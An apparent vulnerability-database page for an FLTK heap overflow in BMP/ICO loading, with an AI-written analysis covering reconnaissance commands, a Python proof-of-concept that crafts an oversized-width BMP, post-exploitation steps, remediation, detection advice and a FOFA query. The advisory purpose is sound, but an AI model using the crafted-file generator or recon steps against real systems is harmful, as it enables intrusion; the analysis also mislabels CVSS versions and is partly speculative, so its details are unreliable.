CVE Professor
/
All CVEs
CVE-2026-135433

CVE-2026-135433 — Fltk — CWE-190

HIGH CVSS 8.5 NVD

FLTK through 1.4.5 contains a heap buffer overflow vulnerability in Fl_BMP_Image::load_bmp_() that allows attackers to corrupt heap memory by supplying crafted BMP or ICO files. Attackers can specify very large image dimensions so the 32-bit row and alpha mask pointer offsets wrap, writing file-derived pixel bytes out of bounds to crash applications or possibly execute code.

FLTK through 1.4.5 contains a heap buffer overflow vulnerability in Fl_BMP_Image::load_bmp_() that allows attackers to corrupt heap memory by supplying crafted BMP or ICO files. Attackers can specify very large image dimensions so the 32-bit row and alpha mask pointer offsets wrap, writing file-derived pixel bytes out of bounds to crash applications or possibly execute code.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-135433 is a Heap Buffer Overflow (CWE-190) in the FLTK (Fast Light Toolkit) library, specifically within the Fl_BMP_Image::load_bmp_() function.

Technical Flaw Analysis

The vulnerability stems from an Integer Overflow leading to a Heap Buffer Overflow during the parsing of BMP or ICO image headers.

1. Input Vector: The function accepts a width and height parameter from the image file header (or derived from it).
2. The Bug: The code calculates memory offsets for pixel data and alpha masks using 32-bit arithmetic. If an attacker supplies extremely large dimensions (e.g., near $2^{31}$), the calculation of the row offset or alpha mask pointer offset wraps around (integer overflow).
3. Consequence: The resulting offset points to a location far outside the allocated heap buffer. When the parser subsequently writes file-derived pixel bytes to this calculated offset, it corrupts adjacent heap memory.
4. Missing Check: The library fails to validate that the calculated memory size and offsets remain within safe bounds before performing the allocation or write operations. It assumes the dimensions are reasonable, allowing the 32-bit wrap-around to occur.

CVSS 4.0 Vector Interpretation:

  • AV:L (Local): The attacker must have local access (e.g., placing a file on the filesystem or interacting with a local application).

  • PR:N (No Privileges): No special user privileges are required to trigger the bug.

  • UI:P (User Interaction): The victim must be induced to open the malicious file (e.g., via a document viewer, image previewer, or application that loads images).

  • VC:H/VI:H/VA:H: High impact on Confidentiality, Integrity, and Availability of the local system.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Target Identification: The attacker identifies applications on the target system that link against libfltk version 1.4.5 or earlier. This can be done via:
  • * Checking installed packages: dpkg -l | grep fltk or rpm -qa | grep fltk. * Inspecting binary dependencies: ldd /path/to/application | grep fltk. * Fingerprinting local applications that support BMP/ICO import (e.g., image viewers, CAD software, UI design tools).
  • Version Verification: Confirming the version is $\le$ 1.4.5.
  • 2. Exploitation

    The attacker crafts a malicious BMP or ICO file. The core of the exploit lies in the header fields.

    Illustrative PoC Concept (Python using struct):
    Note: This is a conceptual representation of the vulnerability class. The exact byte offsets depend on the specific BMP/ICO header structure and the FLTK parsing logic.

    import struct
    
    def create_malicious_bmp():
        # BMP Header (14 bytes)
        # 'BM' signature
        signature = b'BM'
        # File size (placeholder, will be updated)
        file_size = 0
        # Reserved (2 bytes each)
        reserved1 = 0
        reserved2 = 0
        # Offset to pixel data (placeholder)
        offset_to_pixel_data = 0
        
        # BMP Info Header (40 bytes)
        header_size = 40
        # CRITICAL: Set width to a value that causes 32-bit overflow in FLTK's offset calculation
        # Example: If FLTK calculates offset as (width * 4) + base, and width is large enough 
        # to wrap around 32-bit signed/unsigned int, the offset becomes small/invalid.
        # A common trigger is setting width to 0x7FFFFFFF or similar large values.
        width = 0x7FFFFFFF  # Large value to trigger integer overflow
        height = 1          # Minimal height to keep file small
        planes = 1
        bit_count = 32      # 32-bit color (BGRA)
        compression = 0     # BI_RGB
        image_size = 0
        x_ppm = 2835
        y_ppm = 2835
        colors_used = 0
        colors_important = 0
    
        # Construct Info Header
        info_header = struct.pack('<IiiHHIIiiII', 
                                  header_size, width, height, planes, bit_count, 
                                  compression, image_size, x_ppm, y_ppm, 
                                  colors_used, colors_important)
        
        # Pixel Data (Minimal, but enough to trigger the write)
        # The actual exploit payload would be crafted to overwrite specific heap structures
        # (e.g., vtable pointers, function pointers) based on heap layout.
        pixel_data = b'\x00' * 4  # Placeholder for actual exploit payload
    
        # Assemble File
        bmp_data = signature + struct.pack('<IHHI', file_size, reserved1, reserved2, offset_to_pixel_data) + info_header + pixel_data
        
        # Update file size and offset
        file_size = len(bmp_data)
        offset_to_pixel_data = 14 + 40
        bmp_data = signature + struct.pack('<IHHI', file_size, reserved1, reserved2, offset_to_pixel_data) + info_header + pixel_data
        
        return bmp_data
    
    # Save to file
    with open('malicious.bmp', 'wb') as f:
        f.write(create_malicious_bmp())

    Exploitation Mechanics:
    1. The victim opens malicious.bmp in an application using FLTK 1.4.5.
    2. Fl_BMP_Image::load_bmp_() parses the header.
    3. The large width value causes the internal 32-bit offset calculation to wrap around.
    4. The function allocates a small heap buffer (based on the wrapped/incorrect size) or uses an existing buffer.
    5. The parser writes pixel data to the calculated (out-of-bounds) offset.
    6. This overwrites adjacent heap metadata or objects (e.g., a function pointer in a nearby object).
    7. When the application later calls the overwritten function pointer, control flow is hijacked.

    3. Post-Exploitation

  • Code Execution: If the heap overwrite successfully redirects execution to attacker-controlled shellcode (placed in the pixel data or via ROP chain), the attacker gains code execution in the context of the user who opened the file.
  • Privilege Escalation: If the application runs with elevated privileges (e.g., a system service that processes images), the attacker gains those privileges.
  • Persistence: The attacker can install malware, create backdoors, or exfiltrate data.
  • 🌍 Real World Impact

  • Confidentiality (High): An attacker who achieves code execution can read any memory accessible to the compromised process, potentially including sensitive data, credentials, or keys.
  • Integrity (High): The attacker can modify files, configurations, or other data on the system.
  • Availability (High): The heap corruption can cause the application to crash (DoS). In a worst-case scenario, if the corruption affects critical system processes, it could lead to system instability.
  • Practical Consequences:
  • * Desktop Environments: Users opening malicious images (e.g., from email attachments, web downloads, or USB drives) could have their systems compromised. * Embedded Systems: Devices using FLTK for UI (e.g., industrial controllers, medical devices) could be remotely compromised if they process untrusted image files. * Server-Side: Less likely, but if a server-side application uses FLTK to process uploaded images (e.g., for thumbnail generation), it could be vulnerable to remote code execution if the file is processed without user interaction (though CVSS says UI:P, suggesting local interaction is typical).

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: FLTK through 1.4.5.
  • Recommendation: Upgrade to the latest stable version of FLTK where this vulnerability is patched. Check the FLTK official repository or distribution package manager for the fixed version.
  • Note: As of the CVE publication date (23.11.2026), a patched version should be available. Verify with the vendor.*

    2. Workarounds

  • Disable Image Loading: If the application allows configuration, disable the ability to load BMP/ICO files from untrusted sources.
  • Sandboxing: Run applications that use FLTK in a sandboxed environment (e.g., AppArmor, SELinux, or a container) with minimal permissions to limit the impact of a potential exploit.
  • Input Validation: If you control the application code, validate image dimensions before passing them to FLTK. Reject images with dimensions exceeding a reasonable threshold (e.g., 10,000x10,000 pixels).
  • 3. Detection

  • Log Patterns:
  • * Monitor for crashes or segfaults in applications linked against libfltk. * Look for unusual file access patterns where a user opens a BMP/ICO file and the application crashes or behaves unexpectedly.
  • Indicators of Compromise (IoCs):
  • * File Hashes: If a specific malicious file is identified, add its hash to your EDR/AV blocklist. * Process Behavior: Monitor for processes spawned by image viewers or FLTK-based applications that exhibit suspicious behavior (e.g., network connections, file modifications). * Heap Corruption Signatures: Use tools like AddressSanitizer (ASan) or Valgrind in testing environments to detect heap overflows during image processing.

    ⚠️ Urgency

  • CVSS Score: 8.5 (HIGH)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog)
  • Exploit Complexity: Low (AC:L) – The vulnerability is relatively easy to trigger with a crafted file.
  • Patch Priority: High.
* While not in KEV, the high CVSS score and low complexity make this a significant risk, especially for desktop and embedded systems. * Recommendation: Patch within 7-14 days for standard environments. For critical systems or those exposed to untrusted image files, patch immediately. * Mitigation: Until patched, restrict the opening of BMP/ICO files from untrusted sources and monitor for crashes in FLTK-based applications.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="fltk fltk"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135433
Technical reference / advisory repository for CVE-2026-135433
Technical reference / advisory repository for CVE-2026-135433
CVSS Score
8.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-190
Affected Products (1)
fltk:fltk
Related CVEs
7.6
CVE-2026-144603
PostGIS before 3.7.0 contains an integer overflow vulnerability in rt_raster_generate_new_band that allows aut
4.7
CVE-2026-145361
libid3tag through 0.16.4 contains an integer overflow vulnerability in id3_parse_latin1() in src/parse.c that
7.5
CVE-2026-88254
Memory Corruption when processing an H.264 video stream due to an integer overflow.
7.5
CVE-2026-144438
PAPPL 1.2.0 through 1.4.13 contains an integer overflow vulnerability in papplJobFilterImage() in pappl/job-fi
3.4
CVE-2026-104366
IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5.0 through 11.5.9, and 12.1.0 through 1
9.5
CVE-2026-138720
An integer overflow vulnerability in WatchGuard Endpoint Security's kernel-mode UNC path conversion allows an
8.7
CVE-2026-138709
An uncontrolled resource consumption vulnerability in WatchGuard Endpoint Security's HTTP content-inspection d